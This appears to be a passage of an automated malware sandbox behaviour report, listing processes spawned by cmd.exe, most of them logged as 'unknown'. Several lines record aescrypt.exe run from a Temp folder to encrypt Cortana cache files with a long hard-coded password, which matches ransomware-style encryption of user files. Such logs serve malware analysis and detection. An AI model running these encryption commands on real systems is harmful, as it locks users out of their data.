Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_18[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_19[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_20[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_21[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_23[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_24[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_26[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_3[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_5[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_6[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_19[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_22[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_24[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_25[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_12[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_15[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_16[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_17[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_21[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_21[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
